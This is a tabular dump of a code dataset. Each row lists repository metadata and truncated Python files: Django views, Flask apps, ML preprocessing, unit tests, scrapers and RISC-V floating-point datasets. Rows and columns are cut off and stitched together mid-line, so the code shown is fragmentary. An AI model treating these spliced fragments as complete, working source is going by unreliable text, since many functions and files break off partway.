hexsha stringlengths 40 40 | size int64 6 1.04M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 247 | max_stars_repo_name stringlengths 4 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 368k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 247 | max_issues_repo_name stringlengths 4 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 116k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 247 | max_forks_repo_name stringlengths 4 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.04M | avg_line_length float64 1.53 618k | max_line_length int64 1 1.02M | alphanum_fraction float64 0 1 | original_content stringlengths 6 1.04M | filtered:remove_non_ascii int64 0 538k | filtered:remove_decorators int64 0 917k | filtered:remove_async int64 0 722k | filtered:remove_classes int64 -45 1M | filtered:remove_generators int64 0 814k | filtered:remove_function_no_docstring int64 -102 850k | filtered:remove_class_no_docstring int64 -3 5.46k | filtered:remove_unused_imports int64 -1,350 52.4k | filtered:remove_delete_markers int64 0 59.6k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b7d0df4e655dd699076dac3a6a0a158b736eb180 | 2,196 | py | Python | I-Random-Forest/Algorithm_test_harness.py | raja21068/Research-on-data-mining-of-permission-induced-risk-for-android-IoT-devices | 522d3a0d0fde7dd2f51565e57e1bf30d8c7d9712 | [
"Apache-2.0"
] | 1 | 2021-04-02T05:48:46.000Z | 2021-04-02T05:48:46.000Z | I-Random-Forest/Algorithm_test_harness.py | raja21068/Research-on-data-mining-of-permission-induced-risk-for-android-IoT-devices | 522d3a0d0fde7dd2f51565e57e1bf30d8c7d9712 | [
"Apache-2.0"
] | null | null | null | I-Random-Forest/Algorithm_test_harness.py | raja21068/Research-on-data-mining-of-permission-induced-risk-for-android-IoT-devices | 522d3a0d0fde7dd2f51565e57e1bf30d8c7d9712 | [
"Apache-2.0"
] | null | null | null |
# Split a dataset into a train and test set
# Split a dataset into $k$ folds
# Evaluate an algorithm using a train/test split several times
# Evaluate an algorithm using a cross-validation split
| 37.220339 | 100 | 0.640255 | from random import randrange
# Split a dataset into a train and test set
def train_test_split(dataset, split):
train = list()
train_size = split * len(dataset)
dataset_copy = list(dataset)
while len(train) < train_size:
index = randrange(len(dataset_copy))
train.append(dataset_... | 0 | 0 | 0 | 0 | 0 | 1,869 | 0 | 7 | 114 |
f716476a8f9925dfffc1e7bbbe2678c6a6fa7d50 | 11,978 | py | Python | tools/accuracy_checker/accuracy_checker/metrics/coco_orig_metrics.py | apankratovantonp/open_model_zoo | e372d4173e50741a6828cda415d55c37320f89cd | [
"Apache-2.0"
] | 5 | 2020-03-09T07:39:04.000Z | 2021-08-16T07:17:28.000Z | tools/accuracy_checker/accuracy_checker/metrics/coco_orig_metrics.py | ananda89/open_model_zoo | e372d4173e50741a6828cda415d55c37320f89cd | [
"Apache-2.0"
] | 6 | 2020-09-26T01:24:39.000Z | 2022-02-10T02:16:03.000Z | tools/accuracy_checker/accuracy_checker/metrics/coco_orig_metrics.py | ananda89/open_model_zoo | e372d4173e50741a6828cda415d55c37320f89cd | [
"Apache-2.0"
] | 3 | 2020-07-06T08:45:26.000Z | 2020-11-12T10:14:45.000Z | """
Copyright (c) 2019 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,... | 38.514469 | 120 | 0.671648 | """
Copyright (c) 2019 Intel Corporation
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,... | 0 | 4,413 | 0 | 4,990 | 0 | 1,100 | 0 | 245 | 433 |
608cb71dada00e358af1fedbf6b2381088d791af | 8,201 | py | Python | tests/unit/test_dynamodb.py | radsec/ottr | 411559a2bac307594c92d4d14667143cd04625ff | [
"Apache-2.0"
] | 207 | 2021-10-29T20:35:04.000Z | 2022-03-02T08:04:06.000Z | tests/unit/test_dynamodb.py | wngn123/ottr | 411559a2bac307594c92d4d14667143cd04625ff | [
"Apache-2.0"
] | 3 | 2021-11-05T05:50:57.000Z | 2022-01-03T06:07:18.000Z | tests/unit/test_dynamodb.py | wngn123/ottr | 411559a2bac307594c92d4d14667143cd04625ff | [
"Apache-2.0"
] | 19 | 2021-11-03T06:34:46.000Z | 2022-03-21T14:06:54.000Z |
DYNAMODB_TABLE = "ottr-example"
| 33.068548 | 79 | 0.54786 | import pytest
import boto3
from moto.dynamodb2 import mock_dynamodb2
from otter.router.src.shared.client import DynamoDBClient, get_valid_devices
from otter.router.src.shared.device import Device
DYNAMODB_TABLE = "ottr-example"
@pytest.fixture
def _init_database():
@mock_dynamodb2
def dynamodb_client():
... | 0 | 7,779 | 0 | 0 | 0 | 0 | 0 | 86 | 295 |
0774aee7584655c587314499e7abb1c664124d64 | 4,152 | py | Python | mysite/core/views.py | root121976/ticket | c16932daa497bd22adf0f0625d8e724201386e6e | [
"MIT"
] | null | null | null | mysite/core/views.py | root121976/ticket | c16932daa497bd22adf0f0625d8e724201386e6e | [
"MIT"
] | 3 | 2020-02-12T00:42:25.000Z | 2021-06-10T21:37:06.000Z | mysite/core/views.py | root121976/ticket | c16932daa497bd22adf0f0625d8e724201386e6e | [
"MIT"
] | null | null | null |
# class Home(TemplateView):
# count = User.objects.count()
# template_name = 'home.html'
# return render(request, 'home.html', {
# 'count': count
# })
| 24.862275 | 84 | 0.651734 | from django.shortcuts import render, redirect, render_to_response
from django.contrib.auth.models import User
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.decorators import login_required
from django.contrib.auth.mixins import LoginRequiredMixin
from django.views.generic import Templa... | 0 | 197 | 0 | 316 | 0 | 2,487 | 0 | 316 | 655 |
ef0073c050eac7483b356f60945cf3a3fd18fb7f | 194 | py | Python | bldgnorm/__init__.py | ecosang/multifamily_normalization_toy_example | 4af3b4ec74eb757e7c4b3ce078e72049ccc257f2 | [
"MIT"
] | null | null | null | bldgnorm/__init__.py | ecosang/multifamily_normalization_toy_example | 4af3b4ec74eb757e7c4b3ce078e72049ccc257f2 | [
"MIT"
] | null | null | null | bldgnorm/__init__.py | ecosang/multifamily_normalization_toy_example | 4af3b4ec74eb757e7c4b3ce078e72049ccc257f2 | [
"MIT"
] | null | null | null | __all__=["model_utility","model","utility","visualization"] | 32.333333 | 59 | 0.798969 | __all__=["model_utility","model","utility","visualization"]
from bldgnorm.model_utility import *
from bldgnorm.model import *
from bldgnorm.utility import *
from bldgnorm.visualization import * | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 46 | 89 |
454122822f4031c463d21f987722003e44788e9a | 13,595 | py | Python | main.py | hasanpasha/stream-cli | f93c475c253e75943f07cb0f5ca018fae27d3ca7 | [
"Apache-2.0"
] | null | null | null | main.py | hasanpasha/stream-cli | f93c475c253e75943f07cb0f5ca018fae27d3ca7 | [
"Apache-2.0"
] | 16 | 2021-12-08T19:42:21.000Z | 2022-03-16T17:41:47.000Z | main.py | hasanpasha/stream-cli | f93c475c253e75943f07cb0f5ca018fae27d3ca7 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
if __name__ == '__main__':
main_app = Main()
main_app.run() | 32.369048 | 124 | 0.522619 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from utils.server_utils import ServerUtils
from utils.video_player import MPVVideoPlayer
from api.constants import Kinds
from PyInquirer import prompt
from typing import List
import os
class Defaults:
SERVER = 'cinemana'
DATA_FOLDER = os.path.join(
os.path... | 0 | 1,463 | 0 | 11,616 | 0 | 146 | 0 | 53 | 202 |
0cadcd2fa3cacbc06fab2f302116618a959eb47e | 43 | py | Python | utest/resources/robotdata/resources/res_var_file.py | crylearner/RIDE3X | 767f45b0c908f18ecc7473208def8dc7489f43b0 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2017-08-20T14:46:02.000Z | 2017-08-20T14:46:02.000Z | utest/resources/robotdata/resources/res_var_file.py | crylearner/RIDE3X | 767f45b0c908f18ecc7473208def8dc7489f43b0 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | utest/resources/robotdata/resources/res_var_file.py | crylearner/RIDE3X | 767f45b0c908f18ecc7473208def8dc7489f43b0 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | var_from_resource_var_file = 'Some Value'
| 21.5 | 42 | 0.813953 | var_from_resource_var_file = 'Some Value'
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
83718cad3cccf90d4bb8b22c60ce46bec0b7be5f | 129 | py | Python | teste.py | nijuni2022/Projeto-Crud | 4f7d02381a360e5d80d9f1c31ef5a65f69729d62 | [
"MIT"
] | null | null | null | teste.py | nijuni2022/Projeto-Crud | 4f7d02381a360e5d80d9f1c31ef5a65f69729d62 | [
"MIT"
] | null | null | null | teste.py | nijuni2022/Projeto-Crud | 4f7d02381a360e5d80d9f1c31ef5a65f69729d62 | [
"MIT"
] | null | null | null | #from bson.objectid import ObjectId
from pymongo import MongoClient
client= MongoClient("localhost", 27017)
db = client.Dados | 16.125 | 39 | 0.790698 | #from bson.objectid import ObjectId
from pymongo import MongoClient
client= MongoClient("localhost", 27017)
db = client.Dados | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
d52a6d9651816badaa28ac2f06b6daa5b87b8d9f | 5,290 | py | Python | vimeo/exceptions.py | mypresences/vimeo.py | 352a1b2e9a0757560d62bb1ac34953b95e4ab3a5 | [
"Apache-2.0"
] | 1 | 2020-12-15T20:45:20.000Z | 2020-12-15T20:45:20.000Z | vimeo/exceptions.py | mypresences/vimeo.py | 352a1b2e9a0757560d62bb1ac34953b95e4ab3a5 | [
"Apache-2.0"
] | null | null | null | vimeo/exceptions.py | mypresences/vimeo.py | 352a1b2e9a0757560d62bb1ac34953b95e4ab3a5 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
| 34.575163 | 93 | 0.677694 | #!/usr/bin/env python
class BaseVimeoException(Exception):
"""Base class for Vimeo Exceptions."""
def __get_message(self, response):
if type(response) is Exception:
return response.message
json = None
try:
json = response.json()
except Exception:
... | 0 | 0 | 0 | 4,956 | 0 | 0 | 0 | 0 | 299 |
ebcd35c8dfad509890ef96bd37be1ab49e9e3128 | 77 | py | Python | main.py | akshayvaidya/python-calculator | d07272b8ba8f15ebec0eb516673bde39138d5987 | [
"MIT"
] | null | null | null | main.py | akshayvaidya/python-calculator | d07272b8ba8f15ebec0eb516673bde39138d5987 | [
"MIT"
] | null | null | null | main.py | akshayvaidya/python-calculator | d07272b8ba8f15ebec0eb516673bde39138d5987 | [
"MIT"
] | null | null | null | from calculator import calculator
if __name__=='__main__':
calculator()
| 15.4 | 33 | 0.753247 | from calculator import calculator
if __name__=='__main__':
calculator()
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
89a146782b6ab2661257124e9041ce278d8d11af | 772 | py | Python | experiment_files/punch-cpe_cuestim.py | mwaskom/Waskom_CerebCortex_2017 | 1f582917258afbe234f1e72d4eabb8dc8c719f41 | [
"Unlicense"
] | 12 | 2017-09-15T15:32:15.000Z | 2021-06-13T04:29:04.000Z | experiment_files/punch-cpe_cuestim.py | WagnerLabPapers/Waskom_CerebCortex_InPress | e5a7de82f47362b909478d842673bd364b8d918e | [
"Unlicense"
] | null | null | null | experiment_files/punch-cpe_cuestim.py | WagnerLabPapers/Waskom_CerebCortex_InPress | e5a7de82f47362b909478d842673bd364b8d918e | [
"Unlicense"
] | 5 | 2017-09-20T00:20:15.000Z | 2022-03-21T11:28:46.000Z | """
Parametric design with CPE modeled separately for cue and stimulus periods.
"""
design_name = "cpe_cuestim"
condition_names = ["cue", "stim",
"cpe_cue", "cpe_stim",
"error", "response_time"]
temporal_deriv = True
confound_pca = True
contrasts = [
("cue_neg", ["cu... | 30.88 | 75 | 0.472798 | """
Parametric design with CPE modeled separately for cue and stimulus periods.
"""
design_name = "cpe_cuestim"
condition_names = ["cue", "stim",
"cpe_cue", "cpe_stim",
"error", "response_time"]
temporal_deriv = True
confound_pca = True
contrasts = [
("cue_neg", ["cu... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
44a6bf400cccb033ac68d44f5d1b8e4fde08245c | 972 | py | Python | users/models.py | olubiyiontheweb/dockerized_admin_dashboard | 50e224550f66adabdfe1bc3867fb68d419d9c99b | [
"MIT"
] | null | null | null | users/models.py | olubiyiontheweb/dockerized_admin_dashboard | 50e224550f66adabdfe1bc3867fb68d419d9c99b | [
"MIT"
] | null | null | null | users/models.py | olubiyiontheweb/dockerized_admin_dashboard | 50e224550f66adabdfe1bc3867fb68d419d9c99b | [
"MIT"
] | null | null | null |
# Create your models here.
| 32.4 | 72 | 0.75823 | from django.db import models
from django.contrib.auth.models import AbstractUser, AbstractBaseUser
# Create your models here.
class Permission(models.Model):
name = models.CharField(max_length=200)
class Role(models.Model):
name = models.CharField(max_length=200)
permissions = models.ManyToManyField(Pe... | 0 | 0 | 0 | 773 | 0 | 0 | 0 | 55 | 113 |
69c82a946030df0018ad8fb9dd6e2805913e6643 | 4,506 | py | Python | covidtracker/covid.py | shubraj/covidTracker | f1a6ef3911651733c08d8c0212744e97acbd6c00 | [
"MIT"
] | null | null | null | covidtracker/covid.py | shubraj/covidTracker | f1a6ef3911651733c08d8c0212744e97acbd6c00 | [
"MIT"
] | null | null | null | covidtracker/covid.py | shubraj/covidTracker | f1a6ef3911651733c08d8c0212744e97acbd6c00 | [
"MIT"
] | null | null | null | #! /usr/bin/python3
if __name__ == "__main__":
Covid().stats | 51.204545 | 122 | 0.576787 | #! /usr/bin/python3
import requests,argparse,sys,colorama,pyfiglet
from colorama import Fore,Style
class Covid:
colorama.init(autoreset=True)
parser = argparse.ArgumentParser(description="View By Country")
parser.add_argument("country",nargs="?",metavar="",type=str,help="radius")
parser.add_argument("-... | 0 | 2,868 | 0 | 1,472 | 0 | 0 | 0 | 35 | 67 |
76e8b7b6c75bc8b4098b65e168d8de336da3c675 | 19 | py | Python | olamundo.py | adrianomdantas/Exercicios-Python | ef5025a186615258aec0cf35ed839fe49577d983 | [
"MIT"
] | null | null | null | olamundo.py | adrianomdantas/Exercicios-Python | ef5025a186615258aec0cf35ed839fe49577d983 | [
"MIT"
] | null | null | null | olamundo.py | adrianomdantas/Exercicios-Python | ef5025a186615258aec0cf35ed839fe49577d983 | [
"MIT"
] | null | null | null | print('ol mundo')
| 9.5 | 18 | 0.684211 | print('olá mundo')
| 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
084ec0011d47d9536c75eb288f729b41dd67fc53 | 1,038 | py | Python | cookieClicker.py | fredericoqueiroz/automated-cookie-clicker | 16e65b51b234cca6a31617d9d29682eea2dccae7 | [
"MIT"
] | null | null | null | cookieClicker.py | fredericoqueiroz/automated-cookie-clicker | 16e65b51b234cca6a31617d9d29682eea2dccae7 | [
"MIT"
] | null | null | null | cookieClicker.py | fredericoqueiroz/automated-cookie-clicker | 16e65b51b234cca6a31617d9d29682eea2dccae7 | [
"MIT"
] | null | null | null | from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
PATH = "C:\Program Files (x86)\chromedriver.exe"
driver = webdriver.Chrome(PATH)
driver.get("https://orteil.dashnet.org/cookieclicker/")
driver.implicitly_wait(5)
cookie = driver.find_element_by_id("bigCookie")
cookie_cou... | 33.483871 | 139 | 0.705202 | from selenium import webdriver
from selenium.webdriver.common.action_chains import ActionChains
PATH = "C:\Program Files (x86)\chromedriver.exe"
driver = webdriver.Chrome(PATH)
driver.get("https://orteil.dashnet.org/cookieclicker/")
driver.implicitly_wait(5)
cookie = driver.find_element_by_id("bigCookie")
cookie_cou... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
ae2d83d799c5f8fa35b6b4f1abcb0b05bbb6cad6 | 3,415 | py | Python | app/__main__.py | MihanixA/runfaster | fb8a80d7b9ca9ea278788cb4d4cd863254ce8b17 | [
"MIT"
] | 5 | 2020-02-10T15:54:24.000Z | 2020-02-12T10:04:38.000Z | app/__main__.py | MihanixA/runfaster | fb8a80d7b9ca9ea278788cb4d4cd863254ce8b17 | [
"MIT"
] | null | null | null | app/__main__.py | MihanixA/runfaster | fb8a80d7b9ca9ea278788cb4d4cd863254ce8b17 | [
"MIT"
] | null | null | null | import os
import re
from flask import Flask
from flask_bootstrap import Bootstrap
from google.cloud import spanner
secret_key = os.urandom(32)
app = Flask(__name__)
Bootstrap(app)
app.secret_key = secret_key.hex()
spanner_client = spanner.Client()
app_settings = os.environ.get('APP_SETTINGS')
instance_id = os.env... | 28.940678 | 108 | 0.660908 | import os
import re
import logging
from binascii import crc_hqx
from datetime import datetime
from flask import Flask, request, render_template, redirect
from flask_wtf import FlaskForm
from wtforms import StringField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
from gevent.pywsgi i... | 0 | 842 | 0 | 68 | 0 | 1,163 | 0 | 132 | 337 |
1a6c59844b6771714b26864a5626a9014e3bbc54 | 17,973 | py | Python | main.py | dnanhkhoa/bert-span-parser | 5467a2dc59062b5765bfe5275ea6d7586dcacb2a | [
"MIT"
] | null | null | null | main.py | dnanhkhoa/bert-span-parser | 5467a2dc59062b5765bfe5275ea6d7586dcacb2a | [
"MIT"
] | 1 | 2020-06-03T19:26:22.000Z | 2020-06-04T06:57:16.000Z | main.py | dnanhkhoa/bert-span-parser | 5467a2dc59062b5765bfe5275ea6d7586dcacb2a | [
"MIT"
] | 1 | 2020-12-26T12:07:44.000Z | 2020-12-26T12:07:44.000Z | # -*- coding: utf-8 -*-
import os
import neptune
from neptune.exceptions import NoExperimentContext
try:
except ImportError:
pass
MODEL_FILENAME = "model.bin"
BERT_TOKEN_MAPPING = {
"-LRB-": "(",
"-RRB-": ")",
"-LCB-": "{",
"-RCB-": "}",
"-LSB-": "[",
"-RSB-": "]",
}
if __name__ == ... | 33.038603 | 93 | 0.589829 | # -*- coding: utf-8 -*-
import json
import os
import random
import click
import neptune
import numpy as np
import regex
import torch
from loguru import logger
from neptune.exceptions import NoExperimentContext
from torch.utils.data import DataLoader, RandomSampler, SequentialSampler, TensorDataset
from tqdm import tqd... | 0 | 12,752 | 0 | 0 | 0 | 3,553 | 0 | 121 | 450 |
86db363519e8523306b63910a6cef58d83620a83 | 5,033 | py | Python | mpro/src/crawler.py | dadosjusbr/coletores | 4c03e4fa3b74f8cdd76ed9e039386d6d9dc7cc32 | [
"MIT"
] | 18 | 2019-10-30T01:18:40.000Z | 2022-03-15T11:52:45.000Z | mpro/src/crawler.py | dadosjusbr/coletores | 4c03e4fa3b74f8cdd76ed9e039386d6d9dc7cc32 | [
"MIT"
] | 174 | 2019-11-01T18:57:16.000Z | 2021-09-18T02:35:27.000Z | mpro/src/crawler.py | dadosjusbr/coletores | 4c03e4fa3b74f8cdd76ed9e039386d6d9dc7cc32 | [
"MIT"
] | 9 | 2020-01-16T16:33:46.000Z | 2022-01-13T07:39:00.000Z |
BASE_URL = 'https://servicos-portal.mpro.mp.br/web/mp-transparente/contracheque'
BASE_URL_MEMBROS_ATIVOS = 'https://servicos-portal.mpro.mp.br/plcVis/frameset?__report=..%2FROOT%2Frel%2Fcontracheque%2Fmembros%2FremuneracaoMembrosAtivos.rptdesign&anomes='
BASE_URL_VERBAS_INDENIZATORIAS = 'https://servicos-portal.mpro.m... | 39.629921 | 189 | 0.690244 | import pathlib
import os
import sys
import time
import shutil
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
BASE_URL = 'https://servicos-portal.mpro.mp.br/web/mp-transparente/contracheque'
BASE_URL_MEMBROS_ATIVOS = 'https://servicos-portal.mp... | 0 | 0 | 0 | 0 | 0 | 4,186 | 0 | 9 | 269 |
13b108f53e6ed06f423270b6e26e1becc76b81e8 | 185,198 | py | Python | riscv_isac/fp_dataset.py | liweiwei90/riscv-isac | 91ca482dcf809f49defa4d9a9e14e5e3a891a1ea | [
"BSD-3-Clause"
] | null | null | null | riscv_isac/fp_dataset.py | liweiwei90/riscv-isac | 91ca482dcf809f49defa4d9a9e14e5e3a891a1ea | [
"BSD-3-Clause"
] | null | null | null | riscv_isac/fp_dataset.py | liweiwei90/riscv-isac | 91ca482dcf809f49defa4d9a9e14e5e3a891a1ea | [
"BSD-3-Clause"
] | null | null | null | from riscv_isac.log import logger
import itertools
import struct
import random
import sys
import math
fzero = ['0x00000000', '0x80000000']
fminsubnorm = ['0x00000001', '0x80000001']
fsubnorm = ['0x00000002', '0x80000002', '0x007FFFFE', '0x807FFFFE', '0x00555555', '0x80555555']
fmaxsubnorm = ['0x007FFFFF', '0x... | 40.462749 | 463 | 0.635045 | from riscv_isac.log import logger
import itertools
import struct
import random
import sys
import math
from decimal import *
fzero = ['0x00000000', '0x80000000']
fminsubnorm = ['0x00000001', '0x80000001']
fsubnorm = ['0x00000002', '0x80000002', '0x007FFFFE', '0x807FFFFE', '0x00555555', '0x80555555']
fmaxsubnor... | 385 | 0 | 0 | 0 | 0 | 5,751 | 0 | 0 | 161 |
c0b27db7a8e229092100d40b2d289c9c75ecbf16 | 2,545 | py | Python | dialogue-engine/test/programytest/storage/stores/nosql/mongo/dao/test_lookup.py | cotobadesign/cotoba-agent-oss | 3833d56e79dcd7529c3e8b3a3a8a782d513d9b12 | [
"MIT"
] | 104 | 2020-03-30T09:40:00.000Z | 2022-03-06T22:34:25.000Z | dialogue-engine/test/programytest/storage/stores/nosql/mongo/dao/test_lookup.py | cotobadesign/cotoba-agent-oss | 3833d56e79dcd7529c3e8b3a3a8a782d513d9b12 | [
"MIT"
] | 25 | 2020-06-12T01:36:35.000Z | 2022-02-19T07:30:44.000Z | dialogue-engine/test/programytest/storage/stores/nosql/mongo/dao/test_lookup.py | cotobadesign/cotoba-agent-oss | 3833d56e79dcd7529c3e8b3a3a8a782d513d9b12 | [
"MIT"
] | 10 | 2020-04-02T23:43:56.000Z | 2021-05-14T13:47:01.000Z | """
Copyright (c) 2020 COTOBA DESIGN, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distri... | 45.446429 | 126 | 0.708055 | """
Copyright (c) 2020 COTOBA DESIGN, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distri... | 0 | 0 | 0 | 1,367 | 0 | 0 | 0 | 38 | 68 |
63f183b40929af676339e7b26d3fac102920b43b | 1,650 | py | Python | omnipresence/plugins/vndb/test_vndb.py | kxz/omnipresence | ffb3dbc30d36331a68e8dea3a85db6a4d2928cd7 | [
"BSD-3-Clause"
] | null | null | null | omnipresence/plugins/vndb/test_vndb.py | kxz/omnipresence | ffb3dbc30d36331a68e8dea3a85db6a4d2928cd7 | [
"BSD-3-Clause"
] | 10 | 2016-04-05T04:36:15.000Z | 2018-03-25T00:15:47.000Z | omnipresence/plugins/vndb/test_vndb.py | kxz/omnipresence | ffb3dbc30d36331a68e8dea3a85db6a4d2928cd7 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8
"""Unit tests for the vndb event plugin."""
# pylint: disable=missing-docstring,too-few-public-methods
| 34.375 | 68 | 0.669091 | # -*- coding: utf-8
"""Unit tests for the vndb event plugin."""
# pylint: disable=missing-docstring,too-few-public-methods
from twisted.internet.defer import inlineCallbacks
from twisted.trial.unittest import TestCase
from ...message import collapse
from ...test.helpers import CommandTestMixin
from . import Default... | 84 | 1,142 | 0 | 135 | 0 | 0 | 0 | 84 | 136 |
1a387f0a7ab6513e1c619e55b24ae2df58847192 | 1,225 | py | Python | propane/urls.py | tylerbutler/propane | 6c404285ab8d78865b7175a5c8adf8fae12d6be5 | [
"MIT"
] | 1 | 2017-12-21T18:16:20.000Z | 2017-12-21T18:16:20.000Z | propane/urls.py | tylerbutler/propane | 6c404285ab8d78865b7175a5c8adf8fae12d6be5 | [
"MIT"
] | null | null | null | propane/urls.py | tylerbutler/propane | 6c404285ab8d78865b7175a5c8adf8fae12d6be5 | [
"MIT"
] | null | null | null | # coding=utf-8
from __future__ import absolute_import, print_function
# noinspection PyUnresolvedReferences
__author__ = 'Tyler Butler <tyler@tylerbutler.com>'
try:
# noinspection PyUnresolvedReferences
except ImportError:
pass
| 29.166667 | 105 | 0.689796 | # coding=utf-8
from __future__ import absolute_import, print_function
import posixpath
from urllib import urlencode
# noinspection PyUnresolvedReferences
from six.moves.urllib.parse import parse_qsl, urlsplit, urlunsplit
__author__ = 'Tyler Butler <tyler@tylerbutler.com>'
try:
# noinspection PyUnresolvedReferen... | 0 | 0 | 0 | 0 | 0 | 787 | 0 | 58 | 139 |
34e31fa7eb54e39276821d4e196a0a84d638c343 | 1,804 | py | Python | api/serializers.py | guica/api_dados_radar | daae88ef4c6d4501c73010453839d8289c0274c4 | [
"MIT"
] | null | null | null | api/serializers.py | guica/api_dados_radar | daae88ef4c6d4501c73010453839d8289c0274c4 | [
"MIT"
] | 10 | 2020-02-12T03:19:25.000Z | 2021-12-13T20:26:40.000Z | api/serializers.py | guica/api_dados_radar | daae88ef4c6d4501c73010453839d8289c0274c4 | [
"MIT"
] | null | null | null | from rest_framework_cache.registry import cache_registry
cache_registry.register(BaseRadaresSerializer)
cache_registry.register(ContagensSerializer)
| 24.053333 | 80 | 0.538803 | from rest_framework import serializers
from radar.models import BaseRadares, Contagens, Viagens, Trajetos
from rest_framework_cache.serializers import CachedSerializerMixin
from rest_framework_cache.registry import cache_registry
class BaseRadaresSerializer(CachedSerializerMixin, serializers.ModelSerializer):
cla... | 0 | 0 | 0 | 1,385 | 0 | 0 | 0 | 107 | 158 |
2a33d92b09cdd36e7f6ec1fff6cef6606fe79768 | 1,680 | py | Python | backend/underbudget/models/balance.py | vimofthevine/underbudget4 | c90eecf9879f7ce57c77a68b3f83b1d76c4451af | [
"MIT"
] | null | null | null | backend/underbudget/models/balance.py | vimofthevine/underbudget4 | c90eecf9879f7ce57c77a68b3f83b1d76c4451af | [
"MIT"
] | 45 | 2019-12-23T23:45:10.000Z | 2022-03-31T05:01:22.000Z | backend/underbudget/models/balance.py | vimofthevine/underbudget4 | c90eecf9879f7ce57c77a68b3f83b1d76c4451af | [
"MIT"
] | 1 | 2020-12-26T17:16:58.000Z | 2020-12-26T17:16:58.000Z | """ Balance resource model """
| 29.473684 | 88 | 0.589881 | """ Balance resource model """
import datetime
from sqlalchemy.sql import func
from underbudget.database import db
from underbudget.models.transaction import (
AccountTransactionModel,
EnvelopeTransactionModel,
TransactionModel,
)
class AccountBalanceModel:
""" Account balance model """
@staticm... | 0 | 1,254 | 0 | 134 | 0 | 0 | 0 | 124 | 135 |
b675fdc219149ecf8b3d0e204b58ec851f06e738 | 1,034 | py | Python | data_processing.py | forhacks/study-tool-back | 139c24fe1e2295493af62da48b6896614f4e2560 | [
"MIT"
] | null | null | null | data_processing.py | forhacks/study-tool-back | 139c24fe1e2295493af62da48b6896614f4e2560 | [
"MIT"
] | null | null | null | data_processing.py | forhacks/study-tool-back | 139c24fe1e2295493af62da48b6896614f4e2560 | [
"MIT"
] | null | null | null | import numpy as np
from gensim.models import Word2Vec
max_len = 25
print('-- READING DATA --')
# read in defs
with open("data/definitions.txt") as f:
data = f.readlines()
# remove \n at end
data = [process_def(x.strip()) for x in data]
# reorganize into [[def 1, def 2, 1/0], [def 1, def 2, 1/0], ...]
data = n... | 24.046512 | 78 | 0.636364 | import numpy as np
import re
from gensim.models import Word2Vec
max_len = 25
def process_def(definition):
if len(definition) == 1:
return definition
definition = re.sub("[^a-zA-Z\s]", " ", definition).split()
definition = [a for a in definition if len(a) > 2]
def_arr = np.array(definition)
... | 0 | 0 | 0 | 0 | 0 | 454 | 0 | -12 | 45 |
1de5aae6b063475c9c8982362905164051ea6329 | 812 | py | Python | Week4/task2-3.py | Ivancaminal72/mcv-m6-2018-team3 | dcdbc97d6d9534f1c0479e98113f35bca0084d86 | [
"MIT"
] | 1 | 2019-06-08T10:27:08.000Z | 2019-06-08T10:27:08.000Z | Week4/task2-3.py | Ivancaminal72/mcv-m6-2018-team3 | dcdbc97d6d9534f1c0479e98113f35bca0084d86 | [
"MIT"
] | null | null | null | Week4/task2-3.py | Ivancaminal72/mcv-m6-2018-team3 | dcdbc97d6d9534f1c0479e98113f35bca0084d86 | [
"MIT"
] | 1 | 2018-09-16T22:17:06.000Z | 2018-09-16T22:17:06.000Z | import os
PlotsDirectory = '../plots/Week4/task2-3/'
if not os.path.exists(PlotsDirectory):
os.makedirs(PlotsDirectory)
print("reading video...")
seq_color = video_to_frame('video1.mp4', grayscale=False)
max_size = 100
seq_color = seq_color[0:max_size]
#block_size_x, block_size_y, search_area_x, search_area_y ... | 30.074074 | 99 | 0.743842 | from utils import *
import os
import numpy as np
from video_stabilization import video_stabilization
